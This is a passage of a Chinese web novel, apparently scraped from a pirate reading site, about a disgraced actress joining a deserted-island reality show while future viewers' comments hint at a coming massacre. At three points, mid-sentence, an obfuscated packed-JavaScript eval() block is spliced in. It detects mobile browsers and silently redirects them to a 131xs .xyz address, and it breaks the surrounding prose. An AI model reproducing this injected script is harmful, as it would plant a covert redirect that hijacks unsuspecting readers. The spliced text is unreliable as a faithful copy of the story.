“萧铭,你应该看过他的戏,命好的典型,出道的第一部悬疑剧《粉纸鸢》就大爆特爆,之后的每一部剧都火成现象级。” “就连很多演员面临的转型困境,他也没遇到困难。《鬼惑》拿到了冬季档史上票房top,他靠鬼公子这个角色拿到青羊奖,成为帝国影视史上最年轻的影帝。” 男人笑起来的时候,多情的桃花眼微微弯起,藏着无限的如水情愫,这一笑,激发粉丝狂热尖叫。 尖叫声里,穿着白裙的少女在助理和保镖的簇拥下匆匆挤过人群。 “不好意思,不好意思,麻烦大家让一让,”助理努力地伸手护着少女,“我们小荧今天不太舒服,请大家不要拥挤,给小荧一点空间。” 顿时有粉丝关切地喊:“小荧,你怎么了?不舒服要去医院啊!” “小荧!十二区风很大,别冻着!” “余嘉荧你给我照顾好自己!!” “小荧,如果你生病了,我们就去砸了狗公司!” 人群里七嘴八舌地叫嚷着。 少女脊背始终挺得笔直,闻言莞尔一笑,微微点头以示致谢,快步走出了机场。 随着她的离去,大批粉丝小跑着追了出去,机场大厅里的人流量顿时空出了一小块。 "哇……"李若水看得瞠目结舌,“这谁啊,好优雅啊,我什么时候也能这么优雅?” 珍姐白她一眼:“这位女士,你是不是忘了你早年走的是玉女掌门人设?你那时候可比她优雅多了。” 李若水表示自己早已经忘了。 “算了,你现在这样,也谈不上什么人设不人设了,”珍姐直摇头,“她叫余嘉荧,是最近新起来的小花。她本来是帝国理工大学校花,在互联网上当个小网红,结果被徐导从民间挖掘出来拍电影,这一下子成为‘徐女郎’之后,身价大涨,直接跨越圈层成明星了。” 李若水已经没心思听了。 她紧紧盯着那个头发夹杂着花白,但是眼神发亮、精神矍铄,边走边挥手致意的老头:“我没看错吧?狄马也来了?!” 狄马导演,霍拉帝国首位获得维蒂尔奖的导演,他素来有“电影鬼才”之称,经他手拍出来的电影,故事性与审美性并存,口碑奇好,上座率极高。 到今年为止,他已经把全球电影奖项拿了一个大满贯,说是霍拉帝国的影视紫微星也不为过。 狄马还有一个圈内传说,据说他非常会调教演员,能够最大程度激发演员的共情潜力,就算是木头,在他手里也能开个窍,变成一朵有香气的花。 “我的偶像啊!”李若水口水都快流下来了。 她盯着老头走过,眼里直冒小星星,有谁知道,从她入学帝国电影学院的那天起,这辈子最大的梦想就是能拍一部狄马的戏! “擦擦你的哈喇子,”珍姐嫌弃地看着她,“快别看狄马了,看看你的死对头吧,你的死对头来了!” “我的什么?” 李若水还在对狄马行注目礼,被珍姐硬生生掰着脖子把脸扭了过来。 这一看,她立刻脸色一黑。 那穿着松垮军绿色外套,脖子上还夹着耳机,走路都好似踩着鼓点节奏的男人,不是阚炆是谁? “不是我说,”珍姐欣赏地看着男人,“阚炆刚出道那会儿不怎么起眼,现在历练了几年,气质和味道全出来了,真带劲!” “还味道全出来,”李若水努努嘴,“你当他是什么?烤鸡胗还是卤猪蹄啊。” 她的眼神扫过男人左耳上戴着的单只耳环,铜色的耳环尺寸略大,随着走路的步伐,晃晃荡荡的。 “装模作样,骚气。” “嘿,”珍姐听着挺乐乎,“你怎么对你这老同学这么怨气十足啊?你俩到底是死敌,还是怨侣啊?我怎么瞅着挺像爱而不得那么回事呢?” 李若水扭身就走。 “不看了,走!” “这老妹,这么多年了,那点棱角是一点没磨平啊,气性还挺大。” 珍姐无奈叹口气,跟着追出去。 两人走到大马路上,李若水磨磨蹭蹭在拐弯口停下。 “又怎么了小祖宗。”珍姐走到她旁边,小心翼翼问,“咋的,不舒服啊?” “没有。”李若水沉默片刻,“珍姐,能把刚才那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460265|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蚂蚁理论说完吗?” 珍姐凝视她片刻,说:“所谓的蚂蚁理论,是一个故事。” “路人慈悲,想要施舍蚂蚁,于是往地上洒了许多面包屑,吸引蚂蚁前来这片土壤聚集逐食。” “但是这人忘了,这片土壤里不是只有蚂蚁,有太多太多猛兽。象、狮子、老虎、蛇、鹰……当蚂蚁进入这片土壤的那一刻,就会轻而易举地被这些庞然大物碾轧而死。” 李若水听完,久久没说话。 珍姐看不清她的表情,劝道:“好了,是姐没考虑周到,刚我其实在想,不该给你接这个综艺的。” “但是接都接了,咱就往好的想成不?”珍姐说,“再坏,还能坏哪去?大不了彻底当素人,咱姐两又不是没当过草根,只要活着,没啥过不去的!” “没有,姐,这不怪你。”李若水别过脸说,“反而是我挺对不起你。” “这话怎么说的?” “我性格不好,虎了吧唧的,能力吧就那样,骨气还挺大。”李若水想了想说,“你圆滑,又会做人,又会来事,背后说人说得嘴都冒火星了,见面还是八分笑。” “哎哟哟,停停停。”珍姐抱拳,“你可拉倒吧,听着不知道是夸我还是损我。” 李若水说:“这趟我要是没回来,或者回来了也混得不咋地,你就走吧。” “越说越离谱,我能走哪去?”珍姐听不下去了,“看姐不爽,想辞退姐啊?你要是真想报答姐,就在荒岛上好好表现,混出个名堂回来,带姐飞黄腾达,听到没?” 长久的沉默。 “听到了。” 李若水把短发捋到耳后,微微一笑。 这么些年她失去了名气的浸润、繁荣的养料,逐渐变得朴素平凡、泯然众人。 但此刻阳光下这么一笑,眼眸晶亮,发丝轻拂,还真有几分当年玉女小掌门的风华绝代。 “你说得对,我一定回来。” …… “曹拓回来了没?” 十二区中心酒店的大堂角落里,男人往沙发靠背上一仰,舒服地喟叹了一声,随即又想起什么,朝身旁正端坐着玩扑克的人问道。 “没有。” 那人把手里的牌往桌上一摔,扑克牌纷乱地散落在桌面上。 “还没回来?”男人点燃了一根烟,吸了一口,烟从嘴唇和鼻间深深地叹息出来。 “你现在不养狗了吧?”他又吸了一口,问玩扑克的人。 “不养,”那人说,“我对养狗没兴趣,低级。” “也是。”男人抽出一支烟递给那人,被对方摆摆手拒绝了。 “我现在越来越觉得你说得对,”男人说,“畜生就是畜生,养不熟。这年头,狗也难养。以前养狗,给块骨头,它冲你嗷嗷的,多亲热!现在你给它进口狗粮,它都憋着坏随时咬你一口。” 那人不答话,犹自摆弄着扑克牌。 牌在桌上排成黑红两列,一张张地被捡起来,细致地按颜色归类放好。 “玩牌就是高级啊。”男人嗤笑,“你好歹也按黑桃红桃方块梅花分啊,按颜色分也太简单了吧。” “你不懂。”那人说,“就得这么分。” 五十二张牌被一一分类完毕,桌面上只剩两张大小王。 男人端详片刻,伸手拿过大小王,把它们按在黑牌的上方,抬眼看向对方,笑了。 “高级啊,高级。”他说。 5. 轮渡 下午17:00,航海轮渡口被节目组用安全带围起一圈,负责直播的摄影机架满了栏杆,后方不远的地方挤满了围观群众和前来送行的粉丝。 “陈英喆!!!注意安全!” “女儿照顾好自己!” “哥哥我爱你,哥哥要好好的!” 粉丝们像不舍儿女远行的老母鸡一样簇拥在渡口十米开外,抻着脖子呐喊。 十二区靠海,虽然风大,但湿度高,阳光当头照着,又闷又热,空气里夹杂着海风的咸湿气息。 嘉宾们巴不得赶快进有空调的船舱,一边或潇洒或不舍地挥手告别,一边快步踏过甲板走进了轮渡船。 李若水戴着口罩和墨镜,猫着腰紧跟着前面的男人进了船舱。 她隐隐约约听到人群里迷惑的议论声。 “这人谁啊?你认识吗?” “谁啊……不认识。是不是倪红啊?看着有点像。” “不是,倪红我前两天去第五区刚拍过她的生图,倪红是短发,但头发没这么短,到肩膀那儿。” “兴许人家剪短了呢。” “……也是。不管了,半小时之后直播就开始了,看直播不就知道了。” 听到直播二字,李若水不禁想起那天神秘出现在她面前的未来弹幕,正是这些弹幕透露的消息,促成了她上荒岛的毅力与决心。 但是从她抵达十二区的那一刻起,它们忽然消失了,直到现在都没有再出现过。 难道这一切真的是自己的幻想?是压力太大了,想给自己找个理由上综艺吗? 李若水想不明白,索性不想了,掀开帘子走进了大厅。 大厅里已经摆好了食物和桌椅,两侧的椅子上都稀稀拉拉地坐着人。 李若水快速打量一番,认出左边的椅子上都是正当红的大咖,她没想去搭讪攀谈,便在右侧角落里随便找了个位置坐下。 刚落座,就发现旁边是个老熟人。 察觉到李若水在看他,阚炆嘴角微微扬了扬,似讥诮似嘲讽,将头偏向另一侧,冷帽下的耳环轻轻晃荡。 李若水刚要说话,眼前一花,五颜六色如烟花般炸开。 【太好了,终于续上了,赶上李若水来荒岛的节点,爽爽爽!】 【我还以为我看错了……奶奶,您追的直播终于更新了!】 【SVNT到底在搞什么,这么多天没更新。】 【前面的姐妹,SVNT发公告了,估计你没看,说搞什么时光器维修,吓死我了,差点以为再也看不到这个直播了。】 虽然没看具体名词,但李若水看懂了弹幕含义,大概是负责管理她这个直播间的公司出了点机器问题,导致这几天直播间关闭了。 怪不得弹幕消失了一段时间。 但是……好几天?她这里明明连一天都还没过完啊。 李若水思索着,难道未来和现在的时间流速不一样?她这里的半天相当于它们那里的几天? 这么短短的四五分钟,陆续有人走进船舱,十几把椅子几乎已经坐满了人,娱乐圈没有社恐,大家都热闹地寒暄着。 除了在机场看到的国际大导狄马、影帝萧铭、新晋花旦余嘉荧、男团爱豆陈英喆之外,还有一些李若水并不认识的生面孔。 面前正朝她迎面走来的女孩,她就不认识。 海风凶猛,女孩却穿着一条超短裙,两条又白又细的腿裸露在夕阳下。她有一双黑亮的大眼睛,微翘的鼻头,像个娇俏的洋娃娃一样。 两条长腿和李若水擦肩而过,她斜眼估算了一下,女孩的腰都快和她的头顶齐平了,真是个巨型萝莉。 人怎么可以长这么高! 身后传来女孩甜美的招呼声:“萧哥,又见面了!上一次还是拍《达摩诀》的时候,这一转眼都一年多了……” 听不清萧铭说了什么,但气氛显然被调动了,另外几个声音参与进来,女孩激动道:“狄导,我是看您的电影长大的!您都不知道我有多崇拜您!” 狄导有这么老吗?李若水撇了撇嘴。 阚炆瞥了她一眼,似乎猜到她在想什么,淡淡道:“她是30后。” 李若水神色一僵,在心里掐指算了算——如果是30后的,那甚至都没成年,还真是看着狄马的电影长大的。 “她叫杜小凡。”阚炆说,“今年刚考上帝国电影学院,去年和萧铭一起演了《达摩诀》,我看了,演得不错。眼神挺有戏,人也机灵,那角色出圈了。” 话音未落,名叫杜小凡的女孩已转到近前,甜蜜蜜的笑容伴随着伸出的手递过来。 “阚炆师兄,您一直是我的偶像,没想到能跟您同台综艺,还请您多多关照。” “客气了。” 阚炆笑了笑,随意搭了搭手。 杜小凡又看向李若水:“这位是?” “她也是帝影的,算是你师姐。”阚炆懒洋洋说,“打个招呼吧,李若水前辈。” “李若水”三个字一出,所有人的目光朝这里射过来。 杜小凡迟疑道:“李若水?是我认识的那个李若水吗?” 李若水恨不得找个地缝钻进去。 “应该是吧……”李若水尬笑着和女孩握了握手,“你好,你好。” 直到放开手,杜小凡朝后面座位走去,边走边还一步三回头地看看李若水。 无视身旁那些窃窃私语的议论声和犹如针刺般的目光,李若水用手肘挡住脸,心里懊恼万分,自己怎么就混成这个德性了? 阚炆忽然握住她的手。 他掌心是温热的,覆盖在李若水冰凉的手背上,像模糊的、久远的一滴泪,在她手背缓缓洇开。 李若水恍惚一下,随即反应过来,难以置信地扭头瞪着他:“你干什么?” “冷静点。”阚炆说。 “我冷静什么?”李若水皱眉瞪他,“你有病吧?” 阚炆朝前方扬了扬下巴。 李若水顺着他的指示向前望去,脸色顷刻间如乌云密布。 刚还在想自己怎么混成这副德性,让自己糊成这样的罪魁祸首就来了。 李若水死死盯着从船舱入口走进来的一男一女。 女人穿着一袭酒红丝绒旗袍,走起路来摇曳生姿,边走边把手拢在嘴边,跟男人说笑着什么,男人也颇为绅士地低头凑近倾听。 狗男女!李若水咬牙切齿在心里骂道。 这一刻她真有点感谢阚炆给了她一个预警,不然依她的性格,可能真的会忍无可忍地站起来,把手里的咖啡劈头盖脸地泼这对狗男女一身。 两人有说有笑地路过李若水。 男人却毫无征兆地突然折返回来,俯身瞧着她:“哎呀,李若水!” “好久不见啊李若水。”男人戴着一副金丝框眼镜,神色真挚地上下打量她,“你这……头发也剪短了,风格也换了,我还真没认出来!快两年没见了吧,你过得还好吗?” 旗袍女也娇滴滴地凑过来说:“若水姐,好久不见!没想到能在这见到你。” 李若水像个水泥雕像一样铁青着脸。 旗袍女张开手臂作出要拥抱的架势,浓烈的香水味冲得李若水脑仁发昏:“咱俩抱一个?” “不用了。” 李若水一字一句说。 “我过得挺好,谢谢啊。” 她能感觉到,自己肺里积聚的气体正在急速上升,每一个肺泡都在膨大,如果这两个人再不离开让自己畅快呼吸,自己就要气死在这个座位上了。 身旁座椅咯吱一响,阚炆站了起来。 “双董。”他朝男人伸出一只手。 男人犹疑着眯起眼睛,辨认片刻,恍然大悟。 “阚炆!”他一拍掌,高兴得就像遇见久未谋面的老朋友,“没认错吧?” "我记得我第一次见你,我还没从我家老爷子手里接棒及星娱乐呢,"男人呵呵笑着,眼角荡漾出开叉的纹路,“那时候我还没追上李若水,你和她才是好朋友,我还吃过你的醋。” “哪里的话,双董您那时候就已经气势不凡了。” 阚炆微微一笑。 “没想到您家大业大,还有时间和我们这些小老百姓一起上综艺。所以说新闻就爱胡编乱造,说什么及星娱乐对赌失败,危在旦夕,我看您这精神面貌,立刻就放心了。” 男人嘴角上扬的弧度变平了。 “你还是那么会说话。”男人叹着气摇头,“这点我是拍马也比不上。也是,戏子嘛,从来功夫都在嘴皮上,嘴皮子不利索,怎么唱好一出戏啊,你说是不是?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460266|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>两个人眼神交汇,阚炆不动声色,男人伸出手,缓缓地抚了抚他外套肩头上的褶皱。 “买几件好衣服穿啊,”男人说,“趁年轻,还能挣钱,娱乐圈千变万化,等到哪天挣不着钱了,想穿也穿不着了,对不对?” 阚炆神色不变,依旧保持得体笑容。 “走吧,思雨。”男人对立在一旁的旗袍女说,“我们找个好位置叙叙旧。” 旗袍女忙不迭地跟上去,走出两步,回首朝李若水风情万种一笑。 “若水姐,当年化妆间的事,你可别怪我。”她眼神轻佻,又夹杂着几丝复杂,“说到底,当年你把我按在地上打,我也是受害者。过去的事都是过去的事,人要往前看,一笑泯恩仇嘛。” 李若水一言不发。 突然,船舱里的所有灯蓦地亮起,把整个室内照得亮如午后,富丽堂皇。 所有的议论声消失得无影无踪。 大家都意识到,要开场了。 “各位嘉宾你们好!” 来人从小隔间内钻了出来,声音洪亮,笑容可掬:“欢迎来到全球首档荒野求生综艺节目《双岛求生》!我是主持人彭凯唱!” “凯唱!凯唱!” “凯唱老师好!” 所有人立刻很给面地鼓掌叫好,暖热场子。 彭凯唱,帝国资深娱乐主持一哥,论主持能力,他敢称第一,没人敢称第二,这人情商极高,长袖善舞,整个娱乐圈十有八九都是他的熟人和好友。 《双岛求生》这档节目能请来彭凯唱作为主持人,也足以证明它的大制作和高档次。 “我很高兴地看到,这次请来的嘉宾,大咖云集,全是我的好朋友!”彭凯唱笑意盈盈地说,“有国际大导……” 狄马点了点头。 “有影帝影后。” 萧铭用手肘撑着脸,露出一个笑。 盘着乌黑发髻的裴婉命端庄颌首,她这些年很少回帝国,常驻在棕榈道演武打电影,是少见的武打女星。 “有新晋小花、当家花旦……” 彭凯唱的视线扫过白裙飘飘的余嘉荧和娇憨乖巧的杜小凡。 “有娱乐产业掌门人,及星娱乐董事长双星晖双董,以及我们的大青衣卜思雨小姐……” “有新生代朝阳,” 拿下渔夫帽,染了一头金灿灿头发的陈英喆咧嘴一笑。 “有历经千帆回归的女神,” 李若水伸手挡住额头,故意不看主持人,她不想接这个话茬。 “有影帝后继者,” 阚炆戴着冷帽,一只胳膊摊开在李若水背后,呈一个保护的姿态把她半圈起来。 “有德高望重的演艺圈老前辈,” 头发花白的贾高逸和蔼一笑,摆手示意。 “我们还特聘了来自帝国皇家大学的农学专家和心理学专家,”彭凯唱话锋一转,“与大家一同前行。” 最后一排座位上站起来一男一女。 男人穿蓝色工作服,神情严肃;女人穿碎花长裙,温文尔雅,典型的学术派风格。 “闫文清。” “燕南菲。” “最后,还有一位特邀嘉宾,与你们一起开启冒险之旅。” 彭凯唱回身,猛地一把掀开帘子。 “我们这档综艺节目的导演——司理群!” 大家发出惊喜的尖叫。 男人半鞠一躬,抬起的脸上五官粗犷,下巴上残留着青色胡茬,颇有几分豪爽。 介绍完所有嘉宾,彭凯唱招了招手。 工作人员搬来一个大纸箱,里面盛放着十五个黑色小圆球,圆球周边安装着精巧的透明螺旋飞行桨。 “诸位请看,”彭凯唱指了指这些圆球,“等你们一到荒岛,摄影师就没法跟拍了,这是我们特意买来的最新高科技微型摄影仪,太阳能充电,全程飞行跟拍,每人一个。” “你们的一举一动将会进行全球直播,直播范围包括霍拉帝国在内,共计二十三个国家,二十三个国家的观众会进行实时弹幕评论,以及票数打投,打投结果关联你们的积分,至于这些积分有什么影响嘛……等你们上了岛就知道。”彭凯唱笑了笑。 “荒岛偏僻,鞭长莫及,请大家谨言慎行,做最真实的自己。” 6. 全球直播 “现在,请大家上来领取自己的跟踪摄影仪,”彭凯唱做了个邀请手势,“领完之后,全球实时弹幕即将开启。” 李若水眼前的弹幕瞬间激动起来。 【直播间里的直播间?】 【真有意思!我们和上世纪的人一起看直播?】 【原来上世纪40年代就开始有直播了,我一直以为直播是我们这个年代的产物,看来还是老祖宗们玩得花啊……】 【那我们也能从李若水的视角看到实时弹幕了,太好玩了!】 李若水看着这些弹幕,觉得自己跟养电子宠物似的。 转念一想,这些人都是自己曾孙的曾孙辈的人了,可不是电子宠物嘛。 嘉宾们挨个上去领取黑色小圆球。 最后一位上去的是年纪最小的杜小凡。她拿完小圆球之后,探头看看箱子,惊讶地“咦”了一声:“怎么还有一个,是有谁没拿吗?” 嘉宾们互相看看,面色都浮现出疑惑。 “我拿了。” “我也拿了。” …… “你拿了吗,贾老师?” 裴婉命回头问后排头发花白的老人。 “我拿了,谢谢你啊,婉命。”贾高逸呵呵一笑,吹着茶叶上方的浮沫,“也就是你,还记得关照我这个老家伙。” “贾老师,你真客气,我十七八岁的时候,要不是你带着我走穴跑台,我早被我爸妈卖给富商了。” 裴婉命吃力地说着不太标准的帝国话,满眼都是感激。 两人相视一笑。 议论声中,陈英喆朝台上喊道:“凯唱老师,我们都拿了,是不是弄错了,多了一个?” 彭凯唱也面露困惑:“不会,制作组报给我们的人数,确实是十五个嘉宾。” 紧闭的舱门再次被推开。 所有人都转头看向推门的人。 推门的是个青年,头发像摇滚歌手,中分,遮住脸,看不清长什么样。 他穿着棕色的夹克,脚步飞快,走到哪裹挟起一阵风,仿佛早有目标一样,径直朝左侧最后一排座位走去。 “哎,小伙子,你是谁啊?”彭凯唱问道。 “我们这在拍戏,你如果有事待会再过来,行吗?” 青年不接话,兀自走向他要去的那个方向。 坐在最后一排的男人已经笑眯眯地站起来,用一个拥抱迎接了他。 “介绍一下,”双星晖拍了拍青年的肩膀,笑容满面地说,“我弟弟,曹拓。” “也是节目的最后一位嘉宾。” …… 葱绿色挂着徽章的弹幕快速飘过。 【你们有没有发现一个bug?】 【什么bug?】 【这个节目有15个嘉宾,没错吧?再加上之前金色大佬说的,提前去的崔璞玉,一共有16个嘉宾。】 【对啊,这咋了,荒岛不就是要人多才好看吗?】 【可是……可是,我先说一下,我在帝国娱乐史选修课得过满分。】 【别废话,有啥快说。】 【这个案子因为是娱乐圈最大杀人案,加上我辅修了刑侦,很感兴趣,所以我学得特别用心,还去侦察局调了保存的电子记录出来看。】 【我很清楚地记得,最后搬运出荒岛的尸体,只有11具。】 【你的意思是,这15个人里,除了精神失常没死的李若水,其实还有3个人没死?】 【算了……我不敢细想,这大热天的,我鸡皮疙瘩起了一身,也许是我想多了,荒岛那么大,可能尸体没找到呢。】 【别啊,大佬,你都能去侦察局调记录,这人脉也是666,再给我们透露点内幕啊qwq】 【就是,我们要吃瓜!】 【求内幕TT】 【别别别,大家别搞我,散了吧,我就是胡说八道,还是接着看直播吧。】 弹幕又寂静下去。 …… 这一波弹幕李若水根本没看到。 自从这些神奇弹幕出现以来,各路颜色时隐时现,在她眼前飘过来飘过去,还经常说一些没卵用的吃瓜聊天废话,看得她眼花缭乱,根本没精力时时刻刻盯着弹幕。 不想看的时候,她干脆就把它们移动到脑门上方,做自己的事,直接忽视它们。 李若水把小黑球捏在手里,刚要仔细打量,小黑球中心的旋转拼接结构忽然缓缓打开了,内部亮起的红色光点正对着她的瞳孔。 “请各位掏出手机,打开cctop直播软件,”彭凯唱指着手机屏幕上的图标示意,“网友们应该都已经等不及想要和你们对话了。” 李若水点开那个小太阳图标。 映入眼帘的是密密麻麻弹出来的实时弹幕。 [裴婉命我的女神!] [婉命姐,好久不见好想你,哭哭] [陈英喆你给妈妈把帽子戴好,海上风那么大!] [我宝怎么穿这么少啊,本来就不舒服……狗公司还能不能做人了,不能做趁早放火给你烧了。] 十五个嘉宾,为了保证荒岛求生的趣味性,cctop设置每个人只能看到自己的直播间,看不到其他人的直播间。 但弹幕却是不分直播间的,统一经后台审核发送到每位嘉宾的直播间,所有人都能看到。 [好漂亮的眼睛] [我怎么感觉这瞳孔有点熟悉,很像我那糊涂的白月光前妻……] [艹,楼上这么一说,我也有点感觉] 小黑球在李若水手里嗡嗡地震动起来。 怎么回事?是坏了吗? 李若水手一松,摄影仪立刻挣脱出她的手心,螺旋桨飞速转动,飞在半空中悬着,红点的角度恰好对准她的脸。 这是一张令常常追星、常混饭圈的人熟悉又陌生的脸。 这张脸曾经很红,非常红。 之后又被人唾弃,令爱她至深的人恨到痛惜。 熟悉的鹅蛋脸上镶嵌着一对圆溜溜杏眼,瞳孔就像林间的小鹿一样灵动又清澈。 但这张脸又分明消瘦不少,不见昔日光彩明媚,那双眼睛看向镜头的时候惶恐而胆怯,躲闪在凌乱的短发后。 几百条弹幕争先恐后地跳出来,整个直播间像一壶刚烧开的沸腾的水,不停地蒸腾着冒着气泡。 [我、的、天!!!] [真的是你!李若水!!!] [我还以为我看错了,天啊,李若水复出了?] [老婆你说句话啊老婆!] 李若水抿了抿嘴,说:“没错,是我。” “我决定复出了。” 此话一出,虽然目不斜视,她还是感觉到从四面八方投来的复杂视线。 弹幕飞速地一条接一条冒着泡。 [宝宝终于想通了,看你憔悴的样子,老粉真的好心痛,回来就好回来就好555] [楼上的粉丝真令人作呕,这种劣迹艺人也能复出,凭什么?] [楼上嘴巴给老子放干净点,娱乐圈恩怨情仇多了去了,一个巴掌拍不响,李若水落魄这么多年已经付出代价了,还不够?你们要她自杀是吗?] [李若水真脸大,还你决定?你说复出就复出?被你打的阚炆和卜思雨同意了吗?劣迹艺人滚出娱乐圈!] 虽然做好了面对风言风语的准备,看到这些咒骂的话,李若水还是忍不住眼眶发酸,心头沉甸甸堵得慌。 眼泪眼看就要落下来。 一旁的手拿走了手机。 阚炆一脸无所谓的样,把屏幕举高和脸平齐,用大拇指翻看着界面上的弹幕。 “被你打的阚炆和卜思雨同意了吗?”他念道。 念罢,他放下手机,对着黑球中心的红点笑了笑。 “卜思雨同不同意我不知道。” “反正阚炆是同意了。”他说。 弹幕安静一瞬。 下一秒,直播间右上角的数量以每秒倍增几千人的速度,开始爆炸式地疯涨起来。 李若水夺过手机,被增长的人气吓得目瞪口呆。 [阚炆,你真的,我哭死。] [你的眼神在装b,你的文字还爱她。] [阚炆你这个不争气的东西,从今天起老娘就要脱粉回踩!] [啊啊啊姐妹冷静,老阚就这个性格,粉了这么多年还不知道吗?] [他甚至还坐她旁边,他真的我哭死。] [眼泪粉狂喜,我死去的cp又复活了,阚炆唯爱李若水,我要再说一遍,阚炆唯爱李若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460267|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水!是唯爱!] [来人啊,给我把阚炆力挺李若水七个字打在公屏上!] [666666] 弹幕热闹不已,广大路人观众就像猛然间吃到放了八年的老瓜,但吃进口里发现瓜瓤竟还是如此鲜甜一样快活。 …… [这个阚炆真不是个男人,把我们思雨架在火上烤。] [思雨真惨,当年被李若水按在地上扇巴掌,打得那么惨,现在还要被狗男女道德绑架。] [大不了雨滴们就去撕节目组,玩舆论战谁怕谁啊!] 角落里,卜思雨表情管理有一瞬间的失控,但是旋即又努力上扬嘴角,露出柔柔的笑意。 “好了,雨滴们,大家就不要为我生气啦,”她娇声娇气地说,“节目组安排人肯定有他们的用意。” “再说,都那么多年了,我和若水姐就算有什么误会,也早就解开了。”她边看弹幕边补口红,“放心放心,我一进船舱就已经跟若水姐说开了……对对,你们没看到那会儿。” …… [小凡,还是换条裤子吧,荒岛上蚊虫多,你万一被毒蛇咬了怎么办?] “宝宝们,你们就别操心啦!蚊虫多,那不还有花露水,还有节目组嘛!反正又没有生命危险,爱咋整咋整吧。” [有道理。] [小凡玩得开心就好。] “对喽,玩得开心就行。我有多懒你们还不清楚吗,我这次来,就是纯玩票的,顺便抱抱大腿。” 杜小凡漫不经心地说,拿出小镜子整理着自己的刘海,“哎呀,造型师不在旁边,这刘海我怎么弄也弄不好,烦死了。” …… [贾高逸老师和裴姐,这什么神仙组合啊啊啊啊啊] [贾老师我刚看完您那部血色暴雨,演得太好了,毫无演绎痕迹!] 裴婉命捂着嘴笑:“贾老师,宝刀不老啊,您的影迷可真不少。” 贾高逸摆手:“老喽!” 想了想,又叹息说:“现在市场真是低迷啊,我们这种老帮菜,压根都没戏接,钱包都瘪得不行。” “贾兵年轻力壮,让贾兵赚去呀!”裴婉命没当回事,随意侃着家常话,“贾兵还好吧?” “好什么呀好。”贾高逸说,“上次投资个什么养生茶,把家底赔个精光,害我一把老骨头,儿孙福享不到,还要给他兜底。” 裴婉命深有同感:“就怕搞投资,我家那位也是,我让他别投别投,还投,老跟我说这次一定赚,唉,操不完的心!” …… [小喆,想听你唱歌。] [儿子,唱首歌吧儿子。] 陈英喆把手兜在脑后,闻言坐了起来,一脸为难:“啊?唱歌?在场都是前辈……” 后半句嗓音放低:“……唱歌的话,不太好吧?” 狄马坐他旁边,笑道:“你就唱吧,就当放背景音乐。”说完扭头问道,“是不是,双董,阿铭?” 双星晖在后座望着窗外风平浪静的海面,微笑道:“这么好的风景,是该有个伴奏。” 萧铭那双桃花眼微微弯着,不同意也不反对。 “那行。”陈英喆挠挠头,“那我唱了啊,大家别嫌难听。” 他弯腰,从座位下掏出一个长包,拉开拉链,是一把吉他。 轻轻拨了两下弦,动听的音律在空气中流淌。 …… “来吧,海浪,铺成生命的云。 谁的灵魂在指引,大海被谁叫醒。 人来人往,潮来潮去。 模糊的脸,渐渐清晰。 明明有话要说,不知从何说起。” …… 余嘉荧是唯一一个没有掏出手机看弹幕的人。 粉丝倒也习惯了她这种安静的性子。 [女儿总是这么安静,看得我心都要化了。] [好美啊,这一幕都可以做屏保了。] [谁截屏了?] [我截图了,我发你。] [姐妹,我也求一份。] 余嘉荧静静看着窗外。 窗户半敞着,海风吹拂过她柔顺的黑发。 海平面上的太阳以极其缓慢的速度向下一寸寸移动着,再过不久就要沉入海底。 7. 抵达 大厅里的所有的灯全部打开,十几架摄影机架在固定机位,黑色小球嗡嗡地飞来飞去。 众人小声地交谈着,只有李若水在认真干饭。 她夹了满满一盘子香肠、蛋糕、牛排,回到自己的座位上,细嚼慢咽地吃着,直到肚子撑满,再也吃不下去。 【我现在真是有点喜欢李若水了,大口吃肉蛋奶,认真准备行李,装备齐全,能跑能跳,怪不得能活到最后。】 【这些人干嘛不吃饭啊?他们知不知道那座岛有多恐怖啊,急死我了!】 【前面的姐妹,他们显然不知道啊,你看他们在这慢悠悠的,还以为是在做节目结交人脉立人设呢。】 41世纪的实时弹幕对李若水的评价则截然相反。 [李若水整什么幺蛾子呢?这是要立吃货人设?] [还吃货人设,饭桶吧。] [李若水这几年怕不是进去了吧?这不就是普通的蛋糕和牛排,至于这么吃?] 李若水才不管弹幕在说什么,现在这些嘉宾和观众根本不知道他们在荒岛上将要面对什么,还以为是闹着玩呢! 待会上了荒岛,根本没吃的,现在多吃一点,就多保存一分体力,节省一份食物! 杜小凡盘腿坐在椅子上,反转手背,对着摄影仪秀着新做的美甲。 “你们看这个颜色好不好看?”她兴高采烈地说,“我出发前特意去做的,挑了个椰子树的图案,可爱吧?” [可爱可爱可爱-3-] [女儿可爱死了!] [笑死我了我刚从李若水直播间回来,你们快去看啊,她真的是疯了] [回来了……震撼我全家,她是猪精吧,吃那么多!] 